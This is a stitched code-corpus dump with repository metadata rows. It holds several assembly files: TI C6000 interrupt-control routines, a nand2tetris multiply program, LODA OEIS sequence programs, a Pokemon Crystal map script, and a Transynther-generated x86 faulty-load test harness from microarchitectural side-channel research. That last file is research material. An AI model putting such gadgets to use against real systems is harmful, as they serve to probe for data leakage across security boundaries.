bnop b3, 1
mvk 1, a5
mvc ier, b0
||shl a5, a4, a5 ; Or mask obtained
shru b0, a5, a4 ; return value obtained
||or a5, b0, b0
mvc b0, ier
||and a4,1,a4
.global _CSL_intcInterruptDisable
_CSL_intcInterruptDisable:
;input argument is in a4
;return value is in a4
bnop b3, 1
mvk 1, a5
mvc ier, b0
||shl a5, a4, a5 ; Or mask obtained
shru b0, a4, a4 ; return value obtained
||andn b0, a5, b0
mvc b0, ier
||and a4,1,a4
.global _CSL_intcInterruptClear
_CSL_intcInterruptClear:
;input argument is in a4
bnop b3, 1
mv a4,b2
mvk 1, b1
shl b1, b2, b1 ; Or mask obtained
mvc b1, icr
.global _CSL_intcInterruptSet
_CSL_intcInterruptSet:
bnop b3, 1
mv a4,b2
mvk 1, b1
shl b1, b2, b1 ; Or mask obtained
mvc b1, isr
.global _CSL_intcInterruptRestore
_CSL_intcInterruptRestore:
;a4 contains the vectorId
;b4 contains the value to be restored
b b3
mv a4,b1
shl .s2 b4,b1,b4
mvc ier,b0
or b0,b4,b0
mvc b0,ier
.global _CSL_intcQueryInterruptStatus
_CSL_intcQueryInterruptStatus:
b b3
mvk 1, b1
mvc ifr, b0
shl b1, a4,a5
and a5,b0,a5
shru a5,a4,a4
.global _CSL_intcGlobalEnable
_CSL_intcGlobalEnable:
bnop b3
mv a4,a0
||mvc csr, b0
and b0 , _CSL_INTC_GIE_MASK, a3
[a0] stnw a3 , *a0
||or b0 , _CSL_INTC_GIE_MASK, b0
mvc b0 , csr
mvk 1, a4
; CSL_Status = CSL_SOK
.global _CSL_intcGlobalDisable
_CSL_intcGlobalDisable:
bnop b3
mv a4,a0
||mvc csr, b0
and b0 , 1, a3
[a0]stnw a3 , *a0
||and b0 , _CSL_INTC_GIE_MASK_DISABLE, b0
mvc b0 , csr
mvk 1, a4
.global _CSL_intcGlobalRestore
_CSL_intcGlobalRestore:
bnop b3
mvc csr, b0
and a4, _CSL_INTC_GIE_MASK, b1
or b1, b0,b0
mvk 1, a4 ; CSL_Status
mvc b0 , csr
.global _CSL_intcGlobalNmiEnable
_CSL_intcGlobalNmiEnable:
bnop b3, 1
mvc ier, b0
or 2, b0, b0
mvc b0, ier
mvk 1, a4
.global _CSL_intcGlobalExcepEnable
_CSL_intcGlobalExcepEnable:
bnop b3, 1
mvc tsr, b0
or _CSL_INTC_GEE, b0, b0
mvc b0, tsr
mvk 1, a4
.global _CSL_intcGlobalExtExcepEnable
_CSL_intcGlobalExtExcepEnable:
bnop b3, 1
mvc tsr, b0
or _CSL_INTC_XEN, b0, b0
mvc b0, tsr
mvk 1, a4
.global _CSL_intcGlobalExcepClear
_CSL_intcGlobalExcepClear:
b b3
mvk 1, a3
shl a3, a4, a3
mv a3, b2
mvc b2, ecr
mvk 1, a4
| 23.204819
| 81
| 0.567757
|
25848514e6a65d937c9aa75accc99f8974611c82
| 763
|
asm
|
Assembly
|
04/submission/Mult.asm
|
benkoo/nand2tetris
|
4d1e173724a8a278a6632fcbb4fc46d65c076f5f
|
[
"CC0-1.0"
] | null | null | null |
04/submission/Mult.asm
|
benkoo/nand2tetris
|
4d1e173724a8a278a6632fcbb4fc46d65c076f5f
|
[
"CC0-1.0"
] | null | null | null |
04/submission/Mult.asm
|
benkoo/nand2tetris
|
4d1e173724a8a278a6632fcbb4fc46d65c076f5f
|
[
"CC0-1.0"
] | null | null | null |
// This file is part of www.nand2tetris.org
// and the book "The Elements of Computing Systems"
// by Nisan and Schocken, MIT Press.
// File name: projects/04/Mult.asm
// Multiplies R0 and R1 and stores the result in R2.
// (R0, R1, R2 refer to RAM[0], RAM[1], and RAM[2], respectively.)
//Compute RAM[2]=RAM[0]*RAM[1]
//**
// n=R0
// m=R1
// i=1
// sum=0
//LOOP: if i >-n goto STOP
// sum=sum+R1
// i= i+1
// goto LOOP
//STOP:
// R1=sum
@R0
D=M
@n
M=D
@i
M=1
@sum
M=0
(LOOP)
@i
D=M
@n
D=D-M
@STOP
D;JGT
@sum
D=M
@R1
D=D+M //sum = sum + R1
@sum
M=D
@i
M=M+1 // i=i+1
@LOOP
0;JMP
(STOP)
@sum
D=M
@R2
M=D //RAM[2] =sum
(END)
@END
0;JMP
| 12.306452
| 67
| 0.496723
|
bd2092df8c1ab8f293a8e36c67d532986986a7a8
| 1,419
|
asm
|
Assembly
|
programs/oeis/297/A297405.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/297/A297405.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/297/A297405.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A297405: Binary "cubes"; numbers whose binary representation consists of three consecutive identical blocks.
; 7,42,63,292,365,438,511,2184,2457,2730,3003,3276,3549,3822,4095,16912,17969,19026,20083,21140,22197,23254,24311,25368,26425,27482,28539,29596,30653,31710,32767,133152,137313,141474,145635,149796,153957,158118,162279,166440,170601,174762,178923,183084,187245,191406,195567,199728,203889,208050,212211,216372,220533,224694,228855,233016,237177,241338,245499,249660,253821,257982,262143,1056832,1073345,1089858,1106371,1122884,1139397,1155910,1172423,1188936,1205449,1221962,1238475,1254988,1271501,1288014,1304527,1321040,1337553,1354066,1370579,1387092,1403605,1420118,1436631,1453144,1469657,1486170,1502683,1519196,1535709,1552222,1568735,1585248,1601761,1618274,1634787,1651300
mov $3,$0
add $3,1
mov $11,$0
lpb $3
mov $0,$11
sub $3,1
sub $0,$3
mov $7,$0
mov $9,2
lpb $9
mov $0,$7
mov $5,0
mov $6,0
sub $9,1
add $0,$9
mov $2,2
mov $4,0
add $6,$0
add $5,$6
lpb $0
div $0,$2
mul $5,2
mul $6,4
lpe
add $0,4
sub $4,2
mul $0,$4
sub $6,$2
add $5,$6
add $5,5
add $2,$5
mul $2,2
add $2,$0
mov $4,$2
mov $10,$9
lpb $10
mov $8,$4
sub $10,1
lpe
lpe
lpb $7
mov $7,0
sub $8,$4
lpe
mov $4,$8
sub $4,12
div $4,4
mul $4,2
add $4,7
add $1,$4
lpe
mov $0,$1
| 25.339286
| 681
| 0.649753
|
f7311c394a18510ede8538d65890b81b112c4397
| 348
|
asm
|
Assembly
|
programs/oeis/128/A128514.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/128/A128514.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/128/A128514.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A128514: Triangle, Pell sequence in every column.
; 1,2,1,5,2,1,12,5,2,1,29,12,5,2,1,70,29,12,5,2,1,169,70,29,12,5,2,1,408,169,70,29,12,5,2,1,985,408,169,70,29,12,5,2,1,2378,985,408,169,70,29,12,5,2,1
seq $0,25676 ; Exponent of 8 (value of i) in n-th number of form 8^i*9^j.
seq $0,52937 ; Expansion of (2-3*x-x^2)/((1-x)*(1-2*x-x^2)).
sub $0,1
| 49.714286
| 150
| 0.632184
|
a0ce78706610fd42d3ef677af01a2a63fdc9f99b
| 8,360
|
asm
|
Assembly
|
maps/CopycatsHouse2F.asm
|
Dev727/ancientplatinum
|
8b212a1728cc32a95743e1538b9eaa0827d013a7
|
[
"blessing"
] | 28
|
2019-11-08T07:19:00.000Z
|
2021-12-20T10:17:54.000Z
|
maps/CopycatsHouse2F.asm
|
Dev727/ancientplatinum
|
8b212a1728cc32a95743e1538b9eaa0827d013a7
|
[
"blessing"
] | 13
|
2020-01-11T17:00:40.000Z
|
2021-09-14T01:27:38.000Z
|
maps/CopycatsHouse2F.asm
|
Dev727/ancientplatinum
|
8b212a1728cc32a95743e1538b9eaa0827d013a7
|
[
"blessing"
] | 22
|
2020-05-28T17:31:38.000Z
|
2022-03-07T20:49:35.000Z
|
object_const_def ; object_event constants
const COPYCATSHOUSE2F_COPYCAT1 ; if player is male
const COPYCATSHOUSE2F_DODRIO
const COPYCATSHOUSE2F_FAIRYDOLL ; lost item
const COPYCATSHOUSE2F_MONSTERDOLL
const COPYCATSHOUSE2F_BIRDDOLL
const COPYCATSHOUSE2F_COPYCAT2 ; if player is female
CopycatsHouse2F_MapScripts:
db 0 ; scene scripts
db 1 ; callbacks
callback MAPCALLBACK_OBJECTS, .Callback
.Callback:
checkflag ENGINE_PLAYER_IS_FEMALE
iftrue .Female
disappear COPYCATSHOUSE2F_COPYCAT2
appear COPYCATSHOUSE2F_COPYCAT1
sjump .Done
.Female:
disappear COPYCATSHOUSE2F_COPYCAT1
appear COPYCATSHOUSE2F_COPYCAT2
.Done:
return
Copycat:
faceplayer
checkevent EVENT_GOT_PASS_FROM_COPYCAT
iftrue .GotPass
checkevent EVENT_RETURNED_LOST_ITEM_TO_COPYCAT
iftrue .TryGivePassAgain
checkitem LOST_ITEM
iftrue .ReturnLostItem
checkflag ENGINE_PLAYER_IS_FEMALE
iftrue .Default_Female_1
applymovement COPYCATSHOUSE2F_COPYCAT1, CopycatSpinAroundMovementData
faceplayer
variablesprite SPRITE_COPYCAT, SPRITE_CHRIS
sjump .Default_Merge_1
.Default_Female_1:
applymovement COPYCATSHOUSE2F_COPYCAT2, CopycatSpinAroundMovementData
faceplayer
variablesprite SPRITE_COPYCAT, SPRITE_KRIS
.Default_Merge_1:
special LoadUsedSpritesGFX
checkevent EVENT_RETURNED_MACHINE_PART
iftrue .TalkAboutLostItem
opentext
checkflag ENGINE_PLAYER_IS_FEMALE
iftrue .Default_Female_2a
writetext CopycatText_Male_1
sjump .Default_Merge_2a
.Default_Female_2a:
writetext CopycatText_Female_1
.Default_Merge_2a:
waitbutton
closetext
checkflag ENGINE_PLAYER_IS_FEMALE
iftrue .Default_Female_3a
applymovement COPYCATSHOUSE2F_COPYCAT1, CopycatSpinAroundMovementData
sjump .Default_Merge_3a
.Default_Female_3a:
applymovement COPYCATSHOUSE2F_COPYCAT2, CopycatSpinAroundMovementData
.Default_Merge_3a:
faceplayer
variablesprite SPRITE_COPYCAT, SPRITE_LASS
special LoadUsedSpritesGFX
opentext
writetext CopycatText_QuickMimicking
waitbutton
closetext
end
.TalkAboutLostItem:
opentext
checkflag ENGINE_PLAYER_IS_FEMALE
iftrue .Default_Female_2b
writetext CopycatText_Male_2
sjump .Default_Merge_2b
.Default_Female_2b:
writetext CopycatText_Female_2
.Default_Merge_2b:
waitbutton
closetext
checkflag ENGINE_PLAYER_IS_FEMALE
iftrue .Default_Female_3b
applymovement COPYCATSHOUSE2F_COPYCAT1, CopycatSpinAroundMovementData
sjump .Default_Merge_3b
.Default_Female_3b:
applymovement COPYCATSHOUSE2F_COPYCAT2, CopycatSpinAroundMovementData
.Default_Merge_3b:
faceplayer
variablesprite SPRITE_COPYCAT, SPRITE_LASS
special LoadUsedSpritesGFX
opentext
writetext CopycatText_Worried
waitbutton
closetext
setevent EVENT_MET_COPYCAT_FOUND_OUT_ABOUT_LOST_ITEM
end
.ReturnLostItem:
opentext
writetext CopycatText_GiveDoll
buttonsound
takeitem LOST_ITEM
setevent EVENT_RETURNED_LOST_ITEM_TO_COPYCAT
clearevent EVENT_COPYCATS_HOUSE_2F_DOLL
sjump .GivePass
.TryGivePassAgain:
opentext
.GivePass:
writetext CopycatText_GivePass
buttonsound
verbosegiveitem PASS
iffalse .Cancel
setevent EVENT_GOT_PASS_FROM_COPYCAT
writetext CopycatText_ExplainPass
waitbutton
closetext
end
.GotPass:
checkflag ENGINE_PLAYER_IS_FEMALE
iftrue .GotPass_Female_1
applymovement COPYCATSHOUSE2F_COPYCAT1, CopycatSpinAroundMovementData
faceplayer
variablesprite SPRITE_COPYCAT, SPRITE_CHRIS
sjump .GotPass_Merge_1
.GotPass_Female_1:
applymovement COPYCATSHOUSE2F_COPYCAT2, CopycatSpinAroundMovementData
faceplayer
variablesprite SPRITE_COPYCAT, SPRITE_KRIS
.GotPass_Merge_1:
special LoadUsedSpritesGFX
opentext
checkflag ENGINE_PLAYER_IS_FEMALE
iftrue .GotPass_Female_2
writetext CopycatText_Male_3
sjump .GotPass_Merge_2
.GotPass_Female_2:
writetext CopycatText_Female_3
.GotPass_Merge_2:
waitbutton
closetext
checkflag ENGINE_PLAYER_IS_FEMALE
iftrue .GotPass_Female_3
applymovement COPYCATSHOUSE2F_COPYCAT1, CopycatSpinAroundMovementData
sjump .GotPass_Merge_3
.GotPass_Female_3:
applymovement COPYCATSHOUSE2F_COPYCAT2, CopycatSpinAroundMovementData
.GotPass_Merge_3:
faceplayer
variablesprite SPRITE_COPYCAT, SPRITE_LASS
special LoadUsedSpritesGFX
opentext
writetext CopycatText_ItsAScream
waitbutton
.Cancel:
closetext
end
CopycatsDodrio:
opentext
writetext CopycatsDodrioText1
cry DODRIO
buttonsound
writetext CopycatsDodrioText2
waitbutton
closetext
end
CopycatsHouse2FDoll:
jumptext CopycatsHouse2FDollText
CopycatsHouse2FBookshelf:
jumpstd picturebookshelf
CopycatSpinAroundMovementData:
turn_head DOWN
turn_head LEFT
turn_head UP
turn_head RIGHT
turn_head DOWN
turn_head LEFT
turn_head UP
turn_head RIGHT
turn_head DOWN
step_end
CopycatText_Male_1:
text "<PLAYER>: Hi! Do"
line "you like #MON?"
para "<PLAYER>: Uh, no, I"
line "just asked you."
para "<PLAYER>: Huh?"
line "You're strange!"
done
CopycatText_QuickMimicking:
text "COPYCAT: Hmm?"
line "Quit mimicking?"
para "But that's my"
line "favorite hobby!"
done
CopycatText_Male_2:
text "<PLAYER>: Hi!"
line "I heard that you"
para "lost your favorite"
line "# DOLL."
para "<PLAYER>: If I find"
line "it, you'll give me"
cont "a rail PASS?"
para "<PLAYER>: I'll go"
line "find it for you."
para "You think you lost"
line "it when you went"
cont "to VERMILION CITY?"
done
CopycatText_Worried:
text "COPYCAT: Pardon?"
para "I shouldn't decide"
line "what you should"
cont "do?"
para "But I'm really"
line "worried… What if"
cont "someone finds it?"
done
CopycatText_GiveDoll:
text "COPYCAT: Yay!"
line "That's my CLEFAIRY"
cont "# DOLL!"
para "See the tear where"
line "the right leg is"
para "sewn on? That's"
line "proof!"
done
CopycatText_GivePass:
text "OK. Here's the"
line "MAGNET TRAIN PASS"
cont "like I promised!"
done
CopycatText_ExplainPass:
text "COPYCAT: That's"
line "the PASS for the"
cont "MAGNET TRAIN."
para "The rail company"
line "man gave me that"
para "when they tore"
line "down our old house"
cont "for the STATION."
done
CopycatText_Male_3:
text "<PLAYER>: Hi!"
line "Thanks a lot for"
cont "the rail PASS!"
para "<PLAYER>: Pardon?"
para "<PLAYER>: Is it"
line "that fun to mimic"
cont "my every move?"
done
CopycatText_ItsAScream:
text "COPYCAT: You bet!"
line "It's a scream!"
done
CopycatText_Female_1:
text "<PLAYER>: Hi. You"
line "must like #MON."
para "<PLAYER>: No, not"
line "me. I asked you."
para "<PLAYER>: Pardon?"
line "You're weird!"
done
CopycatText_Female_2:
text "<PLAYER>: Hi. Did"
line "you really lose"
cont "your # DOLL?"
para "<PLAYER>: You'll"
line "really give me a"
para "rail PASS if I"
line "find it for you?"
para "<PLAYER>: Sure,"
line "I'll look for it!"
para "You think you lost"
line "it when you were"
cont "in VERMILION?"
done
CopycatText_Female_3:
text "<PLAYER>: Thank you"
line "for the rail PASS!"
para "<PLAYER>: …Pardon?"
para "<PLAYER>: Is it"
line "really that fun to"
para "copy what I say"
line "and do?"
done
CopycatsDodrioText1:
text "DODRIO: Gii giii!"
done
CopycatsDodrioText2:
text "MIRROR, MIRROR ON"
line "THE WALL, WHO'S"
para "THE FAIREST ONE OF"
line "ALL?"
done
CopycatsHouse2FDollText:
text "This is a rare"
line "#MON! Huh?"
para "It's only a doll…"
done
CopycatsHouse2F_MapEvents:
db 0, 0 ; filler
db 1 ; warp events
warp_event 3, 0, COPYCATS_HOUSE_1F, 3
db 0 ; coord events
db 2 ; bg events
bg_event 0, 1, BGEVENT_READ, CopycatsHouse2FBookshelf
bg_event 1, 1, BGEVENT_READ, CopycatsHouse2FBookshelf
db 6 ; object events
object_event 4, 3, SPRITE_COPYCAT, SPRITEMOVEDATA_STANDING_LEFT, 0, 0, -1, -1, PAL_NPC_RED, OBJECTTYPE_SCRIPT, 0, Copycat, EVENT_COPYCAT_1
object_event 6, 4, SPRITE_MOLTRES, SPRITEMOVEDATA_POKEMON, 0, 0, -1, -1, PAL_NPC_BROWN, OBJECTTYPE_SCRIPT, 0, CopycatsDodrio, -1
object_event 6, 1, SPRITE_FAIRY, SPRITEMOVEDATA_STANDING_DOWN, 0, 0, -1, -1, PAL_NPC_RED, OBJECTTYPE_SCRIPT, 0, CopycatsHouse2FDoll, EVENT_COPYCATS_HOUSE_2F_DOLL
object_event 2, 1, SPRITE_MONSTER, SPRITEMOVEDATA_STANDING_DOWN, 0, 0, -1, -1, PAL_NPC_GREEN, OBJECTTYPE_SCRIPT, 0, CopycatsHouse2FDoll, -1
object_event 7, 1, SPRITE_BIRD, SPRITEMOVEDATA_STANDING_DOWN, 0, 0, -1, -1, PAL_NPC_BLUE, OBJECTTYPE_SCRIPT, 0, CopycatsHouse2FDoll, -1
object_event 4, 3, SPRITE_COPYCAT, SPRITEMOVEDATA_STANDING_LEFT, 0, 0, -1, -1, PAL_NPC_BLUE, OBJECTTYPE_SCRIPT, 0, Copycat, EVENT_COPYCAT_2
| 22
| 164
| 0.7939
|
1cc34223874ca0de6fa81f518da1b35135c3ce26
| 85
|
asm
|
Assembly
|
test/bitwidth32.asm
|
kspalaiologos/asmbf
|
c98a51d61724a46855de291a27d68a49a034810b
|
[
"MIT"
] | 67
|
2020-08-03T06:26:35.000Z
|
2022-03-24T19:50:51.000Z
|
test/bitwidth32.asm
|
pyautogui/asmbf
|
37c54a8a62df2fc4bab28bdeb43237b4905cbecd
|
[
"MIT"
] | 55
|
2019-10-02T19:37:08.000Z
|
2020-06-12T19:40:53.000Z
|
test/bitwidth32.asm
|
pyautogui/asmbf
|
37c54a8a62df2fc4bab28bdeb43237b4905cbecd
|
[
"MIT"
] | 9
|
2019-05-18T11:59:41.000Z
|
2020-06-21T20:40:25.000Z
|
;flags=-x
[bits 32]
db 65536
rcl r1, 0
nav r1
raw .[
out .1
clr r1
raw .]
out .0
| 5.666667
| 9
| 0.576471
|
4735dff88bc135ca8d6485015cf887d94f055c3f
| 497
|
asm
|
Assembly
|
programs/oeis/323/A323703.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/323/A323703.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/323/A323703.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A323703: Number of values of (X^3 + X) mod prime(n).
; 1,3,3,5,7,9,11,13,15,19,21,25,27,29,31,35,39,41,45,47,49,53,55,59,65,67,69,71,73,75,85,87,91,93,99,101,105,109,111,115,119,121,127,129,131,133,141,149,151,153,155,159,161,167,171,175,179,181,185,187,189,195,205,207,209,211,221,225,231,233,235,239,245,249,253,255,259,265,267,273,279,281,287,289,293,295,299,305,307,309,311,319,325,327,333,335,339,347,349,361
seq $0,6005 ; The odd prime numbers together with 1.
div $0,3
mul $0,2
add $0,1
| 62.125
| 360
| 0.700201
|
e8cd5b48a472fe2f63edd32a5a64e59aa29273fd
| 418
|
asm
|
Assembly
|
programs/oeis/147/A147661.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/147/A147661.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/147/A147661.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A147661: a(n) = squarefree part of n^n.
; 1,1,3,1,5,1,7,1,1,1,11,1,13,1,15,1,17,1,19,1,21,1,23,1,1,1,3,1,29,1,31,1,33,1,35,1,37,1,39,1,41,1,43,1,5,1,47,1,1,1,51,1,53,1,55,1,57,1,59,1,61,1,7,1,65,1,67,1,69,1,71,1,73,1,3,1,77,1,79,1,1,1,83,1,85,1,87,1,89,1,91,1,93,1,95,1,97,1,11,1
lpb $0
mod $0,2
sub $0,1
lpe
seq $0,7913 ; Squarefree part of n: a(n) is the smallest positive number m such that n/m is a square.
| 46.444444
| 239
| 0.61244
|
14af51cda00c570a72441bc689292c418b4c86a7
| 5,280
|
asm
|
Assembly
|
Transynther/x86/_processed/NONE/_xt_sm_/i7-7700_9_0xca.log_21829_1053.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NONE/_xt_sm_/i7-7700_9_0xca.log_21829_1053.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NONE/_xt_sm_/i7-7700_9_0xca.log_21829_1053.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r12
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_UC_ht+0x17ba6, %rsi
lea addresses_A_ht+0xaa6, %rdi
nop
nop
nop
nop
nop
sub $30900, %rbp
mov $39, %rcx
rep movsl
nop
xor %r12, %r12
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r8
push %r9
push %rbx
push %rdi
// Store
lea addresses_US+0x14d26, %r8
clflush (%r8)
sub %r9, %r9
mov $0x5152535455565758, %rdi
movq %rdi, %xmm1
movups %xmm1, (%r8)
nop
nop
nop
nop
nop
sub %r8, %r8
// Store
lea addresses_UC+0x1aa6, %r10
inc %rdi
mov $0x5152535455565758, %r9
movq %r9, %xmm1
vmovups %ymm1, (%r10)
add %r9, %r9
// Store
lea addresses_D+0x1c6a6, %rdi
nop
nop
sub %r8, %r8
movw $0x5152, (%rdi)
add %r10, %r10
// Store
lea addresses_normal+0x26a6, %r9
nop
xor %rbx, %rbx
movb $0x51, (%r9)
cmp %r10, %r10
// Load
lea addresses_WT+0x11ea6, %rbx
nop
nop
add %r12, %r12
movb (%rbx), %r8b
nop
cmp $38039, %r8
// Faulty Load
lea addresses_UC+0x1aa6, %rdi
nop
nop
nop
add %r12, %r12
mov (%rdi), %r9d
lea oracles, %r12
and $0xff, %r9
shlq $12, %r9
mov (%r12,%r9,1), %r9
pop %rdi
pop %rbx
pop %r9
pop %r8
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_UC'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 7, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_US'}}
{'OP': 'STOR', 'dst': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 32, 'NT': False, 'type': 'addresses_UC'}}
{'OP': 'STOR', 'dst': {'congruent': 10, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_D'}}
{'OP': 'STOR', 'dst': {'congruent': 10, 'AVXalign': True, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_normal'}}
{'src': {'congruent': 7, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_WT'}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 4, 'NT': False, 'type': 'addresses_UC'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'congruent': 6, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 11, 'same': False, 'type': 'addresses_A_ht'}}
{'58': 21829}
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58
*/
| 45.128205
| 2,999
| 0.653598
|
8f9580a2a11946f27a4b5516e28e508ba8898d88
| 545
|
asm
|
Assembly
|
oeis/069/A069623.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
